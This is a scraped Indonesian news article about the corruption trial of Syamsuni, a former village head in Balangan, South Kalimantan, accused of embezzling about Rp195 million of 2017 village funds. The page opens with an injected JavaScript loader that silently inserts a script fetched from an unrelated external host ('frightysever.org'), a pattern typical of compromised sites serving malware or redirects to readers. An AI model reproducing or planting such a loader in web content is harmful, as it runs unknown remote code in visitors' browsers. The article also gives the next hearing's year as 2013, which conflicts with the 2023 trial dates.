(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Korupsi Dana Desa, Mantan Kades di Balangan Dituduh Tilep Rp195 Juta


KANALKALIMANTAN.COM, BANJARMASIN Seorang mantan Kepala Desa (Kades) di Kabupaten Balangan harus mempertanggungjawabkan perbuatannya di hadapan Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin karena diduga melakukan korupsi dana desa.

Syamsuni, mantan Kades Merah, Kecamatan Awayan, Kabupaten Balangan yang menjabat pada periode 2013-2019 didakwa melakukan korupsi dana desa tahun anggaran 2017.

Perkara tercatat di PN Banjarmasin dengan Nomor 22/Pid.Sus-TPK/2023 PN Bjm dan telah menjalani sidang sebanyak empat kali.

Terkahir pada Rabu (9/8/2023) siang, sidang mantan Kades Merah tersebut dilanjutkan majelis hakim Pengadilan Tipikor Banjarmasin dengan agenda pemeriksaan ahli dan pemeriksaan terdakwa.

Baca juga: Bawa Air Keruh PTAM Intan Banjar, Warga Berdemo di DPRD Banjar

Dakwaan Jaksa Penuntut Umum (JPU) dari Kejaksaan Negeri (Kejari) Balangan total anggaran dana desa yang dikorupsi sebesar Rp195.337.908.27.

“Syamsuni Kades Merah 2013-2019 pada Selasa tanggal 6 Juni 2017 sampai bulan Desember 2017 melakukan perbuatan memperkaya diri sendiri atau orang lain atau suatu korporasi yang dapat merugikan keuangan negara sebesar Rp 195.337.908,” bunyi dakwaan JPU Kejari Balangan.

Terdakwa telah menjalani penahanan sejak awal penyidikan dari 26 Juni 2023 sampai 15 Juli 2023. Kemudian setelah pelimpahan berkas ke pengadilan 10 Juli 2023 ia kembali dilakukan penahanan hingga saat ini.

Syamsuni didakwa dengan primair pasal 2 ayat (1) Jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Baca juga: 10 Juli, Sejarah Hari Veteran Nasional

Lalu dakwaan subsider Pasal 3 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang pemberantasan tindak Pidana Korupsi.

Pada sidang berikutnya tanggal 23 Agustus 2013 terdakwa Syamsuni akan menjalani sidang agenda tuntutan di Pengadilan Tipikor Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

10 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

10 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

12 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.